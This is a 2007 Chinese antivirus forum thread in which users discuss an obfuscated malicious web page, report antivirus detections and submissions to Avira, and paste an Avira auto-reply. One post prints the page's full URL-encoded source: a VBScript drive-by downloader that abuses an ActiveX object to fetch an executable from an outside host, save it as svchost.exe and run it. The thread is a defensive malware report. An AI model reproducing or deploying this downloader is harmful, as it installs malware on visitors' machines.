变态网页加密

sdbsky

三层，有点变态

VBA32  Found Trojan-Downloader.VBS.Psyme.ch#12

绅博周幸

红伞挂了

绅博周幸

已经上报红伞了，我用的是网页提交

441360701

原帖由 sdbsky 于 2007-2-3 13:13 发表
三层，有点变态

VBA32  Found Trojan-Downloader.VBS.Psyme.ch#12

卡巴

441360701

原帖由 441360701 于 2007-2-3 13:23 发表



卡巴

不好意思我不会一次贴两张图

绯你不乖

费尔杀。

mofunzone

用opera打开，nothing happened...
出来一堆奇怪的东西。。
%25253CSCRIPT%252520LANGUAGE%25253D%252522Javascript%252522%25253E%25250D%25250A%25253C%252521--%25250D%25250Avar%252520Jianbang1989%252520%25253D%252522%252520%252520%252520%252520%25253Chtml%25253E%25250D%25250A%252520%252520%252520%252520%25253Cscript%252520language%25253D%252522VBScript%252522%25253E%25250D%25250A%252520%252520%252520%252520on%252520error%252520resume%252520next%25250D%25250A%252520%252520%252520%252520m1%25253D%252522object%252522%25250D%25250A%252520%252520%252520%252520m2%25253D%252522classid%252522%25250D%25250A%252520%252520%252520%252520m3%25253D%252522clsid%25253ABD96C556-65A3-11D0-983A-00C04FC29E36%252522%25250D%25250A%252520%252520%252520%252520m4%25253D%252522Microsoft.XMLHTTP%252522%25250D%25250A%252520%252520%252520%252520m5%25253D%252522Shell.Application%252522%25250D%25250A%252520%252520%252520%252520m6%25253D%252522Scripti%252522%252526%252522ng.Fil%252522%252526%252522eSystemObject%252522%25250D%25250A%252520%252520%252520%252520Set%252520XsKjc%252520%25253D%252520document.createElement%252528m1%252529%25250D%25250A%252520%252520%252520%252520XsKj%252520%25253D%252520%252522http%25253A//dltiantang.com/hah.exe%252522%25250D%25250A%252520%252520%252520%252520XsKjc.setAttribute%252520m2%25252C%252520m3%25250D%25250A%252520%252520%252520%252520XsKji%25253Dm4%25250D%25250A%252520%252520%252520%252520Set%252520XsKjd%252520%25253D%252520XsKjc.CreateObject%252528XsKji%25252C%252522%252522%252529%25250D%25250A%252520%252520%252520%252520yhangf%25253D%252522Ado%252522%25250D%25250A%252520%252520%252520%252520yhangg%25253D%252522db.%252522%25250D%25250A%252520%252520%252520%252520yhangh%25253D%252522Str%252522%25250D%25250A%252520%252520%252520%252520yhangi%25253D%252522eam%252522%25250D%25250A%252520%252520%252520%252520XsKjf%25253Dyhangf%252526yhangg%252526yhangh%252526yhangi%25250D%25250A%252520%252520%252520%252520XsKjg%25253DXsKjf%25250D%25250A%252520%252520%252520%252520set%252520XsKja%252520%25253D%252520XsKjc.createobject%252528XsKjg%25252C%252522%252522%252529%25250D%25250A%252520%252520%252520%252520XsKja.type%252520%25253D%2525201%25250D%25250A%252520%252520%252520%252520XsKjh%25253D%252522G%252522%252526%252522E%252522%252526%252522T%252522%25250D%25250A%252520%252520%252520%252520XsKjd.Open%252520XsKjh%25252C%252520XsKj%25252C%252520False%25250D%25250A%252520%252520%252520%252520XsKjd.Send%25250D%25250A%252520%252520%252520%252520XsKj9%25253D%252522svchost.exe%252522%25250D%25250A%252520%252520%252520%252520set%252520XsKjb%252520%25253D%252520XsKjc.createobject%252528m6%25252C%252522%252522%252529%25250D%25250A%252520%252520%252520%252520set%252520XsKje%252520%25253D%252520XsKjb.GetSpecialFolder%2525282%252529%25250D%25250A%252520%252520%252520%252520XsKja.open%25250D%25250A%252520%252520%252520%252520XsKj8%25253D%252522XsKja.BuildPath%252528XsKja%25252CXsKj8%252529%252522%25250D%25250A%252520%252520%252520%252520XsKj7%25253D%252522XsKjb.BuildPath%252528XsKjb%25252CXsKj7%252529%252522%25250D%25250A%252520%252520%252520%252520XsKj6%25253D%252522XsKjc.BuildPath%252528XsKjd%25252CXsKj6%252529%252522%25250D%25250A%252520%252520%252520%252520XsKj5%25253D%252522XsKjd.BuildPath%252528XsKjf%25252CXsKj5%252529%252522%25250D%25250A%252520%252520%252520%252520XsKj4%25253D%252522XsKje.BuildPath%252528XsKjg%25252CXsKj4%252529%252522%25250D%25250A%252520%252520%252520%252520XsKj3%25253D%252522XsKjf.BuildPath%252528XsKjh%25252CXsKj4%252529%252522%25250D%25250A%252520%252520%252520%252520XsKj2%25253D%252522XsKjg.BuildPath%252528XsKji%25252CXsKj3%252529%252522%25250D%25250A%252520%252520%252520%252520XsKj1%25253D%252522XsKjh.BuildPath%252528XsKjg%25252CXsKj1%252529%252522%25250D%25250A%252520%252520%252520%252520XsKj0%25253D%252522XsKji.BuildPath%252528XsKjk%25252CXsKj0%252529%252522%25250D%25250A%252520%252520%252520%252520XsKj9%25253D%252520XsKjb.BuildPath%252528XsKje%25252CXsKj9%252529%25250D%25250A%252520%252520%252520%252520XsKja.write%252520XsKjd.responseBody%25250D%25250A%252520%252520%252520%252520XsKja.savetofile%252520XsKj9%25252C2%25250D%25250A%252520%252520%252520%252520XsKja.close%25250D%25250A%252520%252520%252520%252520set%252520XsKje%252520%25253D%252520XsKjc.createobject%252528m5%25252C%252522%252522%252529%25250D%25250A%252520%252520%252520%252520XsKje.ShellExecute%252520XsKj9%25252CBBS%25252CBBS%25252C%252522o%252522%252526%252522p%252522%252526%252522e%252522%252526%252522n%252522%25252C0%25250D%25250A%252520%252520%252520%252520%25253C/script%25253E%25250D%25250A%252520%252520%252520%252520%25253C/html%25253E%25250D%25250A%252522%25250D%25250Afunction%252520SetNewWords%252528%252529%25250D%25250A%25257B%25250D%25250Avar%252520NewWords%25253B%25250D%25250ANewWords%25253Dunescape%252528Jianbang1989%252529%25253B%25250D%25250Adocument.write%252528NewWords%252529%25253B%25250D%25250A%25257D%25250D%25250ASetNewWords%252528%252529%25253B%25250D%25250A//%252520--%25253E%25250D%25250A%25253C/SCRIPT%25253E

mofunzone

Thank you for your submission. Below you can see the current status of the uploaded files.


A listing of files contained inside archives alongside their results can be found below:File ID         Filename         Size (Byte)        Result
201788         xiao.htm         4.931         UNDER ANALYSIS



Please find a detailed report concerning each individual sample below: Filename        Result
xiao.htm         UNDER ANALYSIS


The file 'xiao.htm' has been determined to be 'UNDER ANALYSIS'.

Please note that you will receive an email which will contain the results shown above. In case the final outcome of the analysis is not yet finished for all files the notification will be sent once ready.

hsjj2005

费尔报。费尔对网页木马监控还是相当不错的。

mmll888

Dear user,

Digital data should always be safe - free of viruses and of harmful
code.
Because of this reason, we are happy you are using our Internet offer
to
have suspicious files examined for a possible infection.

We have forwarded the file/s you have uploaded to our specialists from
the virus lab.
The file/s is/are being analyzed.

We will shortly communicate you the result via email - please have some
patience.

We are at your disposal for all kinds of questions regarding virus
protection. Please call us
at +49 (0) 7542-500 0 or drop us an email to sales@avira.com

Please find current information about Avira and our security solutions
on our website: www.avira.com

--
Yours sincerely
Avira GmbH